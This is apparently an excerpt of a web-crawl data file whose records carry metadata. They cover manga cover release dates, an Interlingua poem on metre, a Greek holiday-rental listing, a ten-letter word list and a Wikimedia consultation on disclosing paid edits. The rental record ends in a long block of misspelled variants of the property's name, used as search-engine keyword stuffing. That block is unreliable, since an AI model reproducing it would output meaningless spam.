19\/05\/89||sorti le 19\/09\/89||sorti le 19\/01\/90||sorti le 19\/04\/90|\n|sorti le 19\/06\/90||sorti le 19\/09\/90||sorti le 19\/03\/91||sorti le 19\/07\/91||sorti le 19\/11\/91||sorti le 19\/03\/92|\n|sorti le 19\/08\/92||sorti le 11\/12\/92||sorti le 19\/04\/93||sorti le 17\/09\/93||sorti le 18\/02\/94||sorti le 19\/07\/94|\n|sorti le 19\/10\/94||sorti le 15\/12\/94||sorti le 19\/05\/95||sorti le 18\/08\/95||sorti le 19\/10\/95||sorti le 19\/03\/96|\n|sorti le 19\/09\/96||sorti le 19\/02\/97||sorti le 19\/05\/97||sorti le 17\/10\/97||sorti le 17\/04\/98||sorti le 19\/10\/98|\n|sorti le 18\/03\/99||sorti le 18\/06\/99||sorti le 19\/11\/99||sorti le 19\/06\/00||sorti le 19\/01\/01||sorti le 19\/06\/01|\n|sorti le 19\/11\/01||sorti le 19\/07\/02||sorti le 17\/01\/03||sorti le 18\/07\/03||sorti le 19\/08\/04||sorti le 17\/06\/05|\n|sorti le 19\/05\/06||sorti le 18\/05\/07||sorti le 19\/05\/08||sorti le 19\/05\/09||sorti le 05\/11\/09||sorti le 19\/05\/10|\n|sorti le 05\/11\/10||sorti le 19\/05\/11||sorti le 04\/11\/11||sorti le 18\/05\/12||sorti le 05\/11\/12||sorti le 20\/05\/13|\n|sorti le 05\/11\/13||sorti le 20\/05\/14|\n|Couvertures japonaises des 92 volumes parus chez Hakusensha\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mangaverse.net\/html\/patarirocouvjap.htm","date":"2020-02-23T07:49:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145747.6\/warc\/CC-MAIN-20200223062700-20200223092700-00039.warc.gz","language":"ina","language_score":0.3837378919,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3837378919124603, \"fra_Latn_score\": 0.22961623966693878, \"ron_Latn_score\": 0.06143597885966301, \"dyu_Latn_score\": 0.04575081914663315, \"fud_Latn_score\": 0.024580074474215508, \"kck_Latn_score\": 0.02296106517314911, \"smo_Latn_score\": 0.02286919206380844, \"tsn_Latn_score\": 0.022408822551369667, \"und_Grek_score\": 0.016040248796343803, \"crs_Latn_score\": 0.01570523902773857, \"sot_Latn_score\": 0.014541749842464924, \"nov_Latn_score\": 0.012712736614048481, \"ita_Latn_score\": 0.012405184097588062}","num_words":486,"character_repetition_ratio":0.339,"word_repetition_ratio":0.948,"special_characters_ratio":0.617,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.385,"perplexity_score":3094.6,"cluster_detection":-1} +{"text":"Le 21 e 23 de julio 2020\n|Serea il possibile||–||scriber como faceva|\n|Maestros ancian||–||grecos, lusitanos|\n|Hexametros dactylic||–||le bardo cec ab Hellade|\n|Odyssea|\n|Camões in su Lusíadas||–||usava decasyllabos|\n|Del typo appellate||–||heroic, sexte e decime|\n|Le syllabas del emphase||–||consequentemente|\n|Es usabile?|\n|Yo essayava lo||–||con interlingua|\n|Le fixe numero||–||de syllabas o moras|\n|Me era troppo rigide||–||vero incombrante|\n|Regrettabile|\n|Un die del estate||–||le idea me veniva|\n|Iambos tres, e tres||–||ancora: alexandrino|\n|Con flexibilitate||–||additional, me place|\n|libertate|\n|Le prime curte syllaba||–||on pote omitter|\n|E post le ultime||–||il pote ben sequer|\n|un o duo atonic||–||parola sdrucciole o|\n|paroxytone|\n|Vocales que se tocca||–||que flue e se funde|\n|pote esser contate||–||como un o duo syllabas|\n|secundo le desiros||–||de qui nunc poetisa|\n|Optional|\n|Rimar non es necesse||–||si grecos e latinos|\n|poteva solo usar||–||le metro, proque nunc|\n|adder un elemento||–||essentialmente inutile?|\n|Simplice|\n|Monotonia que||–||menacia pote esser|\n|precludite e pre-||–||venite per adder|\n|post cata tertie verso||–||un anapesto libere|\n|pro jocar|\n|Tamben le anapesto||–||on pote imbellir|\n|con un o duo extras||–||Proparoxytonos|\n|occurre in interlingua||–||legato ex linguas fonte|\n|Tradition|\n|Quasi alexandrinos||–||ma con le addition al fin|\n|πολιτικός tamben||–||un metro byzantin|\n|e grec moderne alsi||–||sin tamen ser equal|\n|Variation|","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/rhar.info\/lingtics\/intrlnga\/poesia\/quasalex.htm","date":"2020-11-24T03:58:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141171077.4\/warc\/CC-MAIN-20201124025131-20201124055131-00362.warc.gz","language":"ina","language_score":0.961568594,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.9615685939788818}","num_words":294,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.957,"perplexity_score":6752.7,"cluster_detection":-1} +{"text":"Evaggelos Place is ideally placed in peaceful surrounds in Afantou, a short drive from Petaloudes. Evaggelos Place offers a comfortable lodging, equipped to suit the requirements of any traveller. Diagoras International Airport is a 30-minute drive from the vacation rental. Kolympia and Faliraki are situated a short drive from the property.\nMost popular hotels in Afantou\nveaggelos place eavggelos place evgagelos place evaggelos place evageglos place evaggleos place evaggeols place evaggelso place evaggelo splace evaggelosp lace evaggelos lpace evaggelos palce evaggelos plcae evaggelos plaec 2vaggelos place 3vaggelos place 4vaggelos place wvaggelos place rvaggelos place svaggelos place dvaggelos place fvaggelos place avaggelos place evaggelos place ivaggelos place bvaggelos place vaggelos place edaggelos place efaggelos place egaggelos place ecaggelos place ebaggelos place evaggelos place e aggelos place evqggelos place evwggelos place evsggelos place evxggelos place evzggelos place eveggelos place evaggelos place ev ggelos place evargelos place evatgelos place evaygelos place evafgelos place evahgelos place evavgelos place evabgelos place evangelos place evaggelos place evajgelos place eva gelos place evagrelos place evagtelos place evagyelos place evagfelos place evaghelos place evagvelos place evagbelos place evagnelos place evaggelos place evagjelos place evag elos place evagg2los place evagg3los place evagg4los place evaggwlos place evaggrlos place evaggslos place evaggdlos place evaggflos place evaggalos place evaggelos place evaggilos place evaggblos place evagg los place evaggeios place evaggeoos place evaggepos place evaggekos place evagge;os place evagge,os place evagge.os place evagge\/os place evaggelos place evagge os place evaggel8s place evaggel9s place evaggel0s place evaggelis place evaggelps place evaggelks place evaggells place evaggel;s place evaggelos place evaggelas place evaggelus place evaggel s place evaggeloq place evaggeloa place evaggelow place evaggeloe place evaggelod place evaggelox place evaggeloz place evaggeloc place evaggelos place evaggelo place evaggelos place evaggeloscplace evaggelosvplace evaggelosbplace evaggelosnplace evaggelosmplace evaggelos 9lace evaggelos 0lace evaggelos -lace evaggelos olace evaggelos [lace evaggelos llace evaggelos 'lace evaggelos place evaggelos rlace evaggelos lace evaggelos piace evaggelos poace evaggelos ppace evaggelos pkace evaggelos p;ace evaggelos p,ace evaggelos p.ace evaggelos p\/ace evaggelos place evaggelos p ace evaggelos plqce evaggelos plwce evaggelos plsce evaggelos plxce evaggelos plzce evaggelos plece evaggelos place evaggelos pl ce evaggelos plase evaggelos plade evaggelos plafe evaggelos plaxe evaggelos plave evaggelos place evaggelos pla e evaggelos plac2 evaggelos plac3 evaggelos plac4 evaggelos placw evaggelos placr evaggelos placs evaggelos placd evaggelos placf evaggelos placa evaggelos place evaggelos placi evaggelos placb evaggelos plac ثرشللثمخس حمشؤث умфппудщы здфсу evaggelos place ানোুুাতদে জতোমা εωαγγελοσ πλαψε ानोुुातदे जतोमा еваггелос плаце ثرشللثمخس حمشزث קהשעעקךםד פךשבק ानोुुातदे जतोमा ㄷㅍㅁㅎㅎㄷㅣㅐㄴ ㅔㅣㅁㅊㄷ ܖܪܫܠܠܖܡܞܣ ܚܡܫܤܖ ำอฟเเำสนห ยสฟแำ","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/greecetravelforum.com\/Greece\/Evaggelos-Place.html","date":"2021-01-21T13:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703524858.74\/warc\/CC-MAIN-20210121132407-20210121162407-00596.warc.gz","language":"ina","language_score":0.9762337804,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.9762337803840637}","num_words":1268,"character_repetition_ratio":0.381,"word_repetition_ratio":0.132,"special_characters_ratio":0.144,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":6353.5,"cluster_detection":-1} +{"text":"Words Extracted From The\nMammoth Censored Word List (343,463 Words)\nMammoth Censored Word List (343,463 Words)\n10 letter words ending with te in the mammoth censored word list.\nThis is a list of all words that end with the letters te\nand are 10 letters long contained within the censored mammoth word list.\nNeed more resolution? Try our live dictionary\nwords ending with search tool\n882 Words\n(0.256796 % of all words in this word list.)\nabalienate abbreviate abelsonite abequitate aberuncate abirritate abjudicate ablaqueate abuccinate accelerate accentuate accomodate accumulate achondrite acidophyte acoelomate actinolite adjudicate adulterate advisorate aftertaste agarophyte aguillette akaryocyte alabandite albuminate aletophyte alliterate amalgamate ameliorate amoebocyte amphiphyte amygdalate anchorette andalusite anecophyte anemophyte annihilate annunciate annuntiate anthophyte anthracite anticipate antimonate antimonite antisemite apophysate apostolate appreciate archeocyte archontate argyrodite armorplate arpeggiate arragonite arrowplate articulate ascomycete asphaltite asphyxiate asseverate assibilate assimilate asynartete aubergiste auriculate auscultate australite autoignite autolysate autolyzate autorotate avunculate balconette ballistite bannerette barbellate barbituate basicerite basipodite bastnasite benedicite benmoreite benthamite benzoinate benzoylate biannulate bichromate bicornuate bilaminate biloculate binoxalate binucleate biocellate biquadrate birostrate bisulphate bisulphite bitartrate bituminate blanquette blastocyte blastplate bouillotte bradyzoite branchiate brilliante brontobyte bruschette cachinnate cacodylate calaverite calceolate calciphyte calumniate calyculate calyptrate camphorate cancellate cancrinite canonicate cantillate canzonette capacitate capitulate capreolate carbonette cardiocyte carnallite carpellate carpophyte cassolette castellate catabolite catenulate celadonite cellarette centrocyte ceramicite chainplate chalcocite chalybeate charophyte cheapskate cheesemite chemisette chessylite chlamydate chloridate chlorinate chlorocyte choanocyte chomophyte choucroute chromocyte chrysolite cincinnate clintonite clofibrate coacervate coalingite cofavorite cogenerate cohabitate colemanite collarette collegiate collencyte colliquate colonocyte columniate commentate comodulate compensate complanate complicate conciliate concremate condensate confidante confiscate conglobate congregate conoscente consecrate consociate constipate constitute consummate continuate contribute convertite coordinate coprophyte coquimbite coradicate cordierite cormophyte corneocyte corruscate corselette corymbiate crenellate crinolette crocoisite cryoconite cyanaurate cyanophyte cylindrite cystencyte dacryocyte deactivate dealkylate deallocate deambulate deaspirate debilitate decanulate decapitate decathlete decelerate decolorate decumulate deescalate deflagrate degenerate deglaciate delaminate deliberate delimitate demodulate demotivate dendrocyte denominate denucleate denunciate deoppilate depopulate depreciate deracinate deregulate dermophyte desalinate desaturate desiderate desilicate desoriente desquamate detoxicate detruncate devegetate dichromate digladiate dijudicate dilacerate dilapidate dilettante dilucidate dimethoate diophysite diothelete diothelite diplophyte disanimate discarnate disculpate diseducate disilicate disinflate disoxidate dispensate dispergate disquisite dissertate dissociate distillate distribute disulphate dithionate dithionite divaricate dolcelatte dolcemente dollaseite dopplerite dunderpate duumvirate dyophysite dyothelete dyothelite dyscrasite easselgate ebracteate ecardinate echinocyte echolocate ecoclimate edentulate edulcorate effectuate effeminate effigurate egurgitate eigenstate elasticate electorate elixiviate elucubrate emancipate emarginate emasculate embryonate emendicate endopodite enterocyte epidiorite episcopate eprouvette equilobate equiparate equivocate eremophyte ericophyte erubescite estipulate eventilate eviscerate exacerbate exaggerate exasperate excogitate excruciate exenterate exfiltrate exheredate exhilarate exorbitate expatriate expeditate exprobrate exsufflate extraovate exulcerate exurbanite facilitate farmerette fastigiate featurette felicitate fenestrate fibrillate flabellate flagellate flaggelate flocculate flowerette fluoridate fluorinate forsterite fourchette fukinolate funiculate gadolinite galleryite gametocyte garnierite gastrulate gelatinate generalate genevrette geniculate ghostwrite ghostwrote glauberite glauconite glycophyte gnetophyte gnotobiote governante graptolite greenalite greenovite guestimate habilitate halfterete halloysite halogenate haplophyte haptophyte heliophyte hematocyte hemizygote hepatocyte hereticate heulandite hexathlete histiocyte homogenate homologate homozygote hydrophyte hygrophyte hyperacute ignimbrite illaqueate illiterate illuminate illustrate immaculate immiserate immoderate immunocyte impregnate inaccurate inactivate inadequate inapposite inaugurate incinerate incomplete incoronate incrassate indefinite indelicate indicolite indigolite indiscrete infibulate infiltrate infinitate ingeminate ingenerate ingratiate innominate innumerate inordinate inosculate insalivate inseminate inseparate inspissate insufflate intemerate intenerate intercaste interstate intimidate intoxicate intraplate intrastate intrigante invaginate invalidate inveterate invigilate invigorate irradicate irresolute isocyanate isopachyte italianate karstenite keratocyte kersantite khediviate kimberlite kryptonite lanceolate lastminute laundrette laurdalite laurvikite leaderette legitimate lemniscate lentamente lepidolite lherzolite licentiate limburgite limnophyte lithophyte lithotrite littermate lochiocyte lymphocyte macadamite macrobiote macrophyte magistrate maisonette mammillate manipulate margravate marguerite marionette marprelate marquisate martensite megagamete megalocyte melaconite melanocyte menstruate mercuriate meropodite metabolite microphyte microplate microstate mignonette miscompute miseducate misnarrate mithridate monoxalate morcellate morigerate mouvemente multistate mycetocyte myxomycete necrophyte nematocyte nephrocyte netiquette neutrocyte nidificate nitrophyte nobilitate nonathlete nondeviate nonfoliate nonisolate nonseptate norbergite novaculite nucleolate obliterate obnubilate obtruncate oddpinnate odontocete odontolite officemate ombrophyte omostegite operculate orbiculate osteophyte outcompete overaerate overdebate overdilate overdilute overexcite oversedate oxyhydrate oxylophyte oxymuriate oxynitrate oxysulfate pacificate palagonite palatinate paleophyte palpebrate pandermite paniculate pantalette paragonite passionate patriciate pediculate peracetate perfoliate peridotite pernoctate perovskite peroxidate perpetrate perpetuate perquisite perspirate persulfate perturbate phaeophyte phlebolite phlogopite phorophyte phosgenite photophyte phycophyte pianoforte piemontite pinacocyte pistillate placentate planchette plasmacyte plasmocyte plebiscite ploughgate pneumocyte polybasite polychaete polyhalite poplinette porphyrite postdebate postillate potentiate preadamite preagitate precompute predentate preeducate preisolate prepromote principate procaryote profligate prokaryote prolongate promulgate propionate propitiate prostitute protophyte psilophyte pterophyte punctulate pyrolusite pyrolysate pyrolyzate pyroxenite pyrrholite pyrrhotite quantitate quaternate reactivate readvocate realestate realienate reallocate reannotate recanulate recidivate recogitate recuperate redecorate rededicate redelegate redominate redruthite reemigrate reescalate reestimate reevacuate reevaluate reexcavate refumigate regenerate regraduate reincubate reindicate reinitiate reinsulate reintubate reirrigate rejuvenate reliberate remotivate remunerate renavigate renominate renucleate renumerate renunciate reobligate reordinate repaginate repatriate repopulate reregulate reseparate resimulate resupinate retabulate reticulate retinalite revalidate revegetate rhizophyte rhodophyte ridgeplate riebeckite ripidolite romanicite rostellate sacahuiste saccharate salicylate samarskite saprophyte sauceplate saussurite schizocyte schoolmate sclerocyte screwplate scutellate segmentate selenocyte selfdevote semilunate semiterete septennate sermonette sexpartite siderocyte siderolite silhouette sluicegate smaragdite smifligate smoothpate solenocyte solidstate sombrerite sordamente spaniolate spathulate sperrylite sphacelate sphalerite spherocyte spherulate spherulite spiflicate spirochete splenocyte sporophyte sporozoite stablemate stalactite stalagmite staurolite stearsmate steelplate steersmate stellulate stephanite stercorate stereobate sternutate stipellate stishovite stockroute stridulate strobilate subacetate subarcuate subchelate subclavate subcordate subprimate substitute substriate subsulfate sucralfate sulfurette sulphonate sulphurate superacute superelite superstate supplicate sustentate tablanette tachyzoite teleophyte telestrate televerite tempestite tennantite terneplate terracette teschenite tessellate tetraptote thaumasite thenardite theodolite theologate therophyte thorianite tiemannite toilinette toothpaste toothplate topazolite torbernite trachelate trailerite transudate treadplate trephocyte triacetate triarchate triathlete trichocyte tricolette tricostate tridentate trifoliate trifurcate trihydrate trihydrite trilineate trinitrate tripartite triphylite tripinnate triplicate tripudiate triradiate trisulcate trisulfate triternate troctolite troglodyte trophocyte tropophyte tumultuate ubiquinate ulsterette umbilicate unalienate uncomplete undefinite underplate underquote understate underwrite underwrote unfavorite unfiltrate unicostate unifoliate unilabiate uninitiate unipartite uniseptate uniseriate univariate unmotivate unregulate unsaturate upregulate urostegite utriculate vanadinite vasodilate vaticinate verkrampte vertebrate vertibrate vesiculate vindemiate vitriolate vituperate vociferate waggonette whewellite winceyette wolframate wolframite wurtzilite zinckenite zoophilite zygomycete","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.litscape.com\/words_mammoth_censored\/ends_with\/e\/10_letter_words_ending_with_te.html","date":"2021-10-17T02:48:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585120.89\/warc\/CC-MAIN-20211017021554-20211017051554-00482.warc.gz","language":"ina","language_score":0.4142939448,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.41429394483566284, \"eng_Latn_score\": 0.28865283727645874, \"lat_Latn_score\": 0.04767852649092674, \"ita_Latn_score\": 0.020313862711191177, \"mlt_Latn_score\": 0.017511840909719467, \"sid_Latn_score\": 0.01630633883178234, \"nap_Latn_score\": 0.015942903235554695, \"enm_Latn_score\": 0.010456717573106289}","num_words":2874,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.098,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":13972.1,"cluster_detection":-1} +{"text":"Introduction\nLe Departimento Legal del Fundation Wikimedia se propone de demandar al Consilio de Administration del Fundation Wikimedia de considerar un proposition de emendamento a nostre Conditiones de Uso pro remediar le problema del modification pagate in secreto. Contribuer al projectos Wikimedia pro servir le interesses de un cliente pagante, obscurante le appertinentia pagate, ha jam resultate in situationes que le communitate considera como problematic. Multe personas crede que usatores con un potential conflicto de interesse deberea collaborar transparentemente e con divulgation honeste de contributiones pagate. In addition, facer contributiones al projectos Wikimedia sin divulgar pagamento o empleamento poterea resultar in complicationes juridic. Nostre Conditiones de Uso jam interdice le activitates deceptive, incluse le representation false de appertinentia, le usurpation de identitate e le fraude. Pro assecurar le conformitate con iste directivas, iste emendamento provide de certe requirimentos pro le minimo de divulgation necessari pro le contributiones pagate in le projectos Wikimedia.\nComo requirite per le Section 16 del Conditiones de Uso, nos recipera le commentos del communitate durante 30 dies sur iste proposition de emendamento ante de inviar le version final al Consilio de Administration pro que illes lo revide. Traductiones es jam disponibile in germano, indonesiano, francese, espaniol, italiano, japonese e certe altere linguas. On incoragia le communitate a traducer le proposition de emendamento e a discuter lo in altere linguas tamben.\nProposition de emendamento\nUn subsection addite al fin del Section 4 del Conditiones de Uso, a saper \"Abstiner se de certe activitates\".\n- Contributiones pagate sin divulgation\nIste Conditiones de Uso interdice le activitates deceptive, incluse le representation false de appertinentia, le usurpation de identitate e le fraude. Pro assecurar le conformitate con iste obligationes, vos debe divulgar vostre empleator, cliente e appertinentia concernente omne contribution a omne Projectos de Wikimedia pro le quales vos recipe, o previde de reciper, un recompensa. Vos debe divulgar isto in al minus un del sequente manieras:\n- a statement on your user page,\n- a statement on the talk page accompanying any paid contributions, or\n- a statement in the edit summary accompanying any paid contributions.\nLe legislation applicabile, o le politicas e directivas communitari e del Fundation, per exemplo illos concernente le conflictos de interesse, pote limitar ancora plus le contributiones pagate o requirer un divulgation plus detaliate. Pro plus information, lege nostre annotation sur le divulgation de contributiones pagate.\nIn response to community comment in the ongoing consultation, the WMF's LCA team suggests three potential changes to the proposal. These changes would modify the second sentence of the first paragraph of the amendment, as described below. These options are not mutually exclusive – both of them, either, or neither could be adopted by the Board, depending on your input (and depending on whether they adopt the amendment as a whole).\nThese potential changes aim to address concerns that have been raised regarding reaction against editors who are allegedly in violation of these requirements, and concern about protecting good-faith contributors (e.g., professors, students, or Wikipedians in Residence) from unintentionally violating the disclosure requirement. We think that either or both of the three options could better focus the amendment on paid advocacy editing, which is a chief concern. However, we also realize they could raise other considerations. Your feedback on these options will help the Board as it considers what language to adopt.\nThis consultation has been informative, positive, and constructive. We appreciate this, and look forward to your comments on these options.\nDescription of the changes\n|Current sentence\n||Option 1\n||Option 2\n||Option 3\n\n\n|To ensure compliance with these obligations, you must disclose your employer, client, and affiliation with respect to any contribution to any Wikimedia projects for which you receive compensation.\n||As part of these obligations, if you receive financial compensation for any contribution about an organization, living person, or commercial product, you must disclose the employer and client who compensated you.\n||As part of these obligations, if you receive financial compensation for any contribution, you must disclose that you were compensated.\n||[Add the following paragraph]\n\n\n...\nA Wikimedia Project community may adopt an alternative paid contribution disclosure policy. If a Project adopts an alternative disclosure policy, you may comply with that policy instead of the requirements in this section when contributing to that Project. An alternative paid contribution policy will only supersede these requirements if it is approved by the relevant Project community and listed in the alternative disclosure policy page [index to be created]\nOption No. 1: Adds \"about an organization, living person, or commercial product\" to describe the contributions.\nThis option narrows what kinds of contributions these requirements would apply to. This focuses on topics that are potential subjects of advertisement and promotion, and excludes other topics of general interest. The intent is to try to exclude potential application to professors, teachers, and Wikipedians in Residence, and other individuals editing on topics of less commercial interest.\nPlease discuss this option on the talk page.\nOption No. 2: Narrows down the extent of the disclosure, changing it from \"your employer, client, and affiliation\" to just \"that you were compensated.\"\nThis option focuses on simply the fact that compensation was involved, rather than specific information about the editor's identity. The intent is to allow editors to identify and review paid edits without requiring editors to disclose specific information about their identity. Individual projects may supplement this rule, and create guidelines for additional disclosures, depending on the circumstances.\nPlease discuss this option on the talk page.\nOption No. 3: Allowing projects to write an alternative disclosure policy\nThis option focuses on providing local projects with an opportunity to create an alternative disclosure policy for paid contributions, to supersede the default disclosure policy provided in this section of the Terms of Use. The intent is to allow projects to prepare variations on how they expect disclosure, depending on the project and community's needs, similar to how fair use is handled under the licensing policy. Projects may also supplement this rule and create guidelines for disclosure.\nPlease discuss this option on the talk page.\nCommon changes in both options\nIn addition to the options above, we plan to make three other small changes:\n- Change the words \"To ensure compliance with\" to \"As part of these\", and reorder the sentence.\n- Remove the words \"to any Wikimedia projects\"\n- Add the word \"financial\" to describe compensation.\nThe first two changes aim to improve clarity. The last change (the addition of the word \"financial\" to describe compensation) narrows what this would apply to, which we think will reduce confusion about the definition of compensation. (People had asked, for example, if this applied to things like students receiving a grade in class, or first-time editors receiving a free lunch during an editathon, neither of which we originally intended to be included.)\nProque iste clausula de divulgation es necessari?\nContribuer al projectos Wikimedia pro servir le interesses de un cliente pagante, obscurante le appertinentia pagate, ha jam resultate in situationes que le communitate considera como problematic. Multe personas crede que usatores con un potential conflicto de interesse deberea collaborar transparentemente e con divulgation honeste de contributiones pagate. In addition, facer contributiones al projectos Wikimedia sin divulgar pagamento o empleamento poterea resultar in complicationes juridic. Nostre Conditiones de Uso jam interdice le activitates deceptive, incluse le representation false de appertinentia, le usurpation de identitate e le fraude. Pro assecurar le conformitate con iste obligationes, iste clausula provide de certe requirimentos pro le minimo de divulgation necessari pro le contributiones pagate in le projectos Wikimedia.\nQue es le \"legislation applicabile\" pro le contributiones pagate sur Wikipedia? Esque le contributiones pagate in secreto es potentialmente illegal?\nDependente del circumstantias personal, le modification pagate in secreto poterea exponer te, tu interprisa o tu clientes a un responsabilitate legal. Certe leges poterea applicar se a te, a tu interprisa o a tu clientes, p.ex. le leges sur le concurrentia disloyal o sur le fraude. In addition al requirimentos fixate in le Conditiones de Uso, tu debe conformar te a iste leges durante le divulgation e execution de tu contributiones pagate.\nIl nos es impossibile avisar te concernente particular requirimentos juridic, e tu deberea recurrer a un advocato si tu ha questiones. Isto essente dicite, in general, le practica de negotios deceptive, incluse le obscuration de un appertinentia professional in certe casos, es prohibite in multe jurisdictiones. In le Statos Unite, per exemplo, le Federal Trade Commission (FTC) ha le autoritate national de regular le actos o practicas injuste o deceptive in le commercio.[1] Como illustrate per le FTC in le exemplo in basso, illes qui non divulga in linea un appertinentia a un compania regulate pote esser subjecte a responsabilitate legal:\n- An online message board designated for discussions of new music download technology is frequented by MP3 player enthusiasts. They exchange information about new products, utilities, and the functionality of numerous playback devices. Unbeknownst to the message board community, an employee of a leading playback device manufacturer has been posting messages on the discussion board promoting the manufacturer's product. Knowledge of this poster's employment likely would affect the weight or credibility of her endorsement. Therefore, the poster should clearly and conspicuously disclose her relationship to the manufacturer to members and readers of the message board.[2]\nThe FTC's guide Dot Com Disclosures specifies that \"disclosures must be communicated effectively so that consumers are likely to notice and understand them in connection with the representations that the disclosures modify.\" For state law implications, see, e.g., N.Y. Attorney General's 2013 investigation regarding companies engaging in astroturfing.[3]\nLegislation applicabile extra le Statos Unite pote anque prohibir le non-divulgation de contributiones pagate. Le Directiva sur le Practicas Commercial Disloyal del UE (e le versiones national correspondente) interdice le practica de \"usar contento editorial in le medios de communication pro promover un producto quando un negotiante ha pagate pro le promotion sin declarar isto in le contento o per imagines o sonos que le consumitor pote identificar clarmente\" e \"falsemente asserer o crear le impression que le negotiante non perseque objectivos associate a su negotios, commercio, mestiero o profession, o representar se falsemente qua consumitor.\" [4] Le legislation national del statos membros del UE pote limitar ancora plus le contributiones pagate sin divulgation, p.ex. per legislation local protegente le concurrentia, e, similarmente, le cortes de justitia in paises individual pote judicar que on es in violation per non divulgar le proprie appertinentia in Wikipedia in le maniera appropriate.\nHa il altere possibile effectos negative de contributiones pagate?\nIl es multo probabile que le contributiones que es pagate, ma intentionalmente pagate in secreto, non servi le interesse public in un maniera juste e benefic. Quando on pesa le valor del contribution de contento al publico in general contra le valor del dissemination de iste contento in particular, il ha un conflicto de interesse causante que le equilibrio servira plus tosto le interesses private del contributor pagante. Si on accepta isto como norma, il es difficile imaginar se un resultato positive pro Wikipedia.\nIl ha jam occurrite multe vices in realitate que le modification pagate in secreto causa le effecto non intendite de publicitate negative pro companias, clientes e individuos. Le pressa seque intensivemente tal historias. Non includer un divulgation con un contribution pagate pote resultar in un perdita de confidentia al latere del publico in general e del communitate de Wikimedia in particular. Pro mantener le bon voluntate e pro evitar le miscomprensiones, le transparentia e le cooperation amical es le melior politica pro le personas qui recipe un recompensa pro lor contributiones a Wikimedia.\nPro evitar le embarasso, assecura te de sequer le directivas del sito particular concernente le contributiones pagate, per exemplo Conflict of interest pro le Wikipedia in anglese.\nHow will community enforcement of these obligations work with existing rules about privacy and behavior?\nLike the rules around sockpuppeting and sockpuppet investigations, this disclosure requirement is intended to work with existing policies and practices, so that there is a fair balance between identifying paid contributions and protecting good-faith editors. These policies include the cross-project value of civility, which is a pillar of Wikipedia; relevant project policies, like ENWP:OUTING or ESWP:ACOSO; and the Terms of Use, which prohibit stalking and abuse. (In cases of more extreme behaviors, local law may also apply.)\nThis requirement, like others, should be applied constructively to enable collaboration and improve our projects. Users who violate them should first be warned and informed about these rules, and then only blocked if necessary. In other words: assume good faith and don't bite the newcomers.\nIf an editor wishes to avoid the disclosure requirement of this amendment, they should abstain from receiving compensation for their edits.\nHow will this provision affect teachers, professors, and employees of galleries, libraries, archives, and museums (\"GLAM\")?\nThe intent of these requirements is not to discourage teachers, professors, or those working at galleries, libraries, archives, and museums (\"GLAM\") institutions from making contributions in good faith. Disclosure is only required when contributors are compensated by their employer or client specifically for edits and uploads to a Wikimedia project. For example, if a professor at University X is paid directly by University X to write about that university on Wikipedia, the professor needs to disclose that the contribution is compensated. There is a direct quid pro quo exchange: money for edits. If that professor is simply paid a salary for teaching and conducting research, and is only encouraged by her university to contribute to projects about topics of general interest without more specific instruction, that professor does not need to disclose her affiliation with the university.\nThe same is true with GLAM employees. Disclosure is only necessary where compensation has been promised or received in exchange for a particular contribution. A museum employee who is contributing to projects about topics of his general interest without more specific instruction from the museum need not disclose his affiliation with the museum. At the same time, when required, a simple disclosure that one is a paid Wikipedian in Residence with a particular museum, for example, would be sufficient disclosure for purposes of the proposed amendment.\nQue vole dicer \"recompensa\"?\nComo usate in iste clausula, \"recompensa\" vole dicer un excambio de moneta, benes o servicios.\nQue vole dicer le phrase \"empleator, cliente e appertinentia\"?\nIsto refere al persona o organisation que te paga un recompensa – in moneta, benes o servicios – concernente alcun contribution a un projecto Wikimedia. Isto poterea esser un interprisa, organisation caritative, instituto educative, departimento governamental o un altere individuo, per exemplo. Le requirimento de divulgation es simple, e necessita que tu forni iste information in un del tres manieras describite anteriormente. Si tu modifica un articulo in Wikipedia in nomine de tu empleator, per exemplo, tu debe divulgar le detalios de tu empleator. Si tu ha essite ingagiate per un firma de relationes public pro modificar Wikipedia, tu debe divulgar e le firma e le cliente del firma. Si tu es un \"Wikimedian in residence\" recipiente un recompensa, per exemplo, tu debe notar le detalios del organisation \"GLAM\" que te paga.\nEsque le divulgation de contributiones pagate es necessari solmente quando io modifica articulos in Wikipedia?\nNo, tu debe divulgar tu empleo, cliente e appertinentia quando tu face non importa qual typo de contribution pagate a non importa qual projecto de Wikimedia. Isto include le modificationes in paginas de discussion e le modificationes in projectos altere que Wikipedia. Nonobstante, un simple divulgation in tu pagina de usator jam satisface iste requirimento minimal.\nEsque isto significa que le contributiones pagate es sempre permittite a condition que io face le divulgation necessari?\nNo, le divulgationes obligate per le Conditiones de Uso reflecte le minimo requirite pro adjutar cata projecto Wikimedia a applicar su proprie politicas e directivas de forma appropriate. Le usatores debe anque debe conformar se a iste additional politicas e directivas, assi como omne leges applicabile. Per exemplo, le politica de Wikipedia in interlingua sur le puncto de vista neutral require que on debe scriber articulos \"presentante clarmente e con referentias a fontes verificabile, cata un del punctos de vista notabile super un topico\", sin \"prender parte\" de alcun puncto de vista in particular. Iste requisitos debe esser sequite mesmo si le contributor divulga que ille face modificationes pagate.\nEsque isto significa que le projectos Wikimedia debe cambiar lor politicas?\nNo, a minus que lor politicas es 